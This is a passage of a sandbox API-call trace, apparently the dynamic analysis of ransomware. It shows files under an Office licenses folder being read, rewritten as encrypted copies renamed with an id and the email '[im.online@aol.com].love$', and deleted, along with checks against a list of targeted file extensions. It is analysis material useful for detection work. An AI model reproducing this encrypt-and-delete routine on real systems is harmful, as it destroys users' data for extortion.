lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2b9b, lpOverlapped=0x0) returned 1 [0266.494] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0266.504] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0266.504] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10c, lpOverlapped=0x0) returned 1 [0266.504] SetEndOfFile (hFile=0x4c8) returned 1 [0266.505] CloseHandle (hObject=0x4c8) returned 1 [0266.512] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.512] SetEndOfFile (hFile=0x47c) returned 1 [0266.936] CloseHandle (hObject=0x47c) returned 1 [0266.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1 [0266.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.939] lstrlenW (lpString=".doc") returned 4 [0266.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.939] lstrlenW (lpString=".docx") returned 5 [0266.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.939] lstrlenW (lpString=".pdf") returned 4 [0266.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.939] lstrlenW (lpString=".xls") returned 4 [0266.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.939] lstrlenW (lpString=".xlsx") returned 5 [0266.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.940] lstrlenW (lpString=".ppt") returned 4 [0266.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.940] lstrlenW (lpString=".zip") returned 4 [0266.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString=".rar") returned 4 [0266.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString=".bz2") returned 4 [0266.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString=".7z") returned 3 [0266.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.940] lstrlenW (lpString=".dbf") returned 4 [0266.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.940] lstrlenW (lpString=".1cd") returned 4 [0266.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.940] lstrlenW (lpString=".jpg") returned 4 [0266.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.941] lstrlenW (lpString=".doc") returned 4 [0266.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".docx") returned 5 [0266.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.941] lstrlenW (lpString=".pdf") returned 4 [0266.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".xls") returned 4 [0266.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".xlsx") returned 5 [0266.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.941] lstrlenW (lpString=".ppt") returned 4 [0266.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.941] lstrlenW (lpString=".zip") returned 4 [0266.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".rar") returned 4 [0266.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".bz2") returned 4 [0266.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.941] lstrlenW (lpString=".7z") returned 3 [0266.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.941] lstrlenW (lpString=".dbf") returned 4 [0266.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.942] lstrlenW (lpString=".1cd") returned 4 [0266.942] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0266.942] lstrlenW (lpString=".jpg") returned 4 [0266.942] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.942] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.942] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29 [0266.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.944] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11167) returned 1 [0266.944] CloseHandle (hObject=0x47c) returned 1 [0266.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0266.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.945] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.945] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.946] GetLastError () returned 0x0 [0266.947] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0266.950] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0266.951] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0266.951] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0266.951] SetEndOfFile (hFile=0x484) returned 1 [0266.952] CloseHandle (hObject=0x484) returned 1 [0266.952] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.952] SetEndOfFile (hFile=0x47c) returned 1 [0266.956] CloseHandle (hObject=0x47c) returned 1 [0266.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0266.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.959] lstrlenW (lpString=".doc") returned 4 [0266.959] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.959] lstrlenW (lpString=".docx") returned 5 [0266.959] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.959] lstrlenW (lpString=".pdf") returned 4 [0266.959] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.959] lstrlenW (lpString=".xls") returned 4 [0266.959] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString=".xlsx") returned 5 [0266.960] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.960] lstrlenW (lpString=".ppt") returned 4 [0266.960] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.960] lstrlenW (lpString=".zip") returned 4 [0266.960] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString=".rar") returned 4 [0266.960] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString=".bz2") returned 4 [0266.960] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString=".7z") returned 3 [0266.960] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.960] lstrlenW (lpString=".dbf") returned 4 [0266.960] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.960] lstrlenW (lpString=".1cd") returned 4 [0266.960] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.960] lstrlenW (lpString=".jpg") returned 4 [0266.960] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.961] lstrlenW (lpString=".doc") returned 4 [0266.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString=".docx") returned 5 [0266.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.961] lstrlenW (lpString=".pdf") returned 4 [0266.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString=".xls") returned 4 [0266.961] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString=".xlsx") returned 5 [0266.961] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.961] lstrlenW (lpString=".ppt") returned 4 [0266.961] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.961] lstrlenW (lpString=".zip") returned 4 [0266.961] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString=".rar") returned 4 [0266.961] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.961] lstrlenW (lpString=".bz2") returned 4 [0266.961] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.962] lstrlenW (lpString=".7z") returned 3 [0266.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.962] lstrlenW (lpString=".dbf") returned 4 [0266.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.962] lstrlenW (lpString=".1cd") returned 4 [0266.962] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0266.962] lstrlenW (lpString=".jpg") returned 4 [0266.962] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.962] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.962] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30 [0266.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.964] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=21728) returned 1 [0266.964] CloseHandle (hObject=0x47c) returned 1 [0266.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0266.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0266.965] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.965] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.967] GetLastError () returned 0x0 [0266.967] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x54e0, lpOverlapped=0x0) returned 1 [0267.371] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x54f0, lpOverlapped=0x0) returned 1 [0267.373] ReadFile (in: hFile=0x47c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0267.373] WriteFile (in: hFile=0x484, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x110, lpOverlapped=0x0) returned 1 [0267.373] SetEndOfFile (hFile=0x484) returned 1 [0267.373] CloseHandle (hObject=0x484) returned 1 [0267.373] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.373] SetEndOfFile (hFile=0x47c) returned 1 [0267.379] CloseHandle (hObject=0x47c) returned 1 [0267.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0267.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.381] lstrlenW (lpString=".doc") returned 4 [0267.382] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".docx") returned 5 [0267.382] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.382] lstrlenW (lpString=".pdf") returned 4 [0267.382] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".xls") returned 4 [0267.382] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".xlsx") returned 5 [0267.382] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.382] lstrlenW (lpString=".ppt") returned 4 [0267.382] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.382] lstrlenW (lpString=".zip") returned 4 [0267.382] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".rar") returned 4 [0267.382] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".bz2") returned 4 [0267.382] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.382] lstrlenW (lpString=".7z") returned 3 [0267.382] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.382] lstrlenW (lpString=".dbf") returned 4 [0267.383] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.383] lstrlenW (lpString=".1cd") returned 4 [0267.383] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.383] lstrlenW (lpString=".jpg") returned 4 [0267.383] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.383] lstrlenW (lpString=".doc") returned 4 [0267.383] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString=".docx") returned 5 [0267.383] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.383] lstrlenW (lpString=".pdf") returned 4 [0267.383] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString=".xls") returned 4 [0267.383] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString=".xlsx") returned 5 [0267.383] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.383] lstrlenW (lpString=".ppt") returned 4 [0267.383] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.384] lstrlenW (lpString=".zip") returned 4 [0267.384] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.384] lstrlenW (lpString=".rar") returned 4 [0267.384] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.384] lstrlenW (lpString=".bz2") returned 4 [0267.384] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.384] lstrlenW (lpString=".7z") returned 3 [0267.384] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.384] lstrlenW (lpString=".dbf") returned 4 [0267.384] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.384] lstrlenW (lpString=".1cd") returned 4 [0267.384] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0267.384] lstrlenW (lpString=".jpg") returned 4 [0267.384] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.385] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.385] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26 [0267.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0267.386] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11589) returned 1 [0267.387] CloseHandle (hObject=0x47c) returned 1 [0267.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0267.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0267.388] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.388] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 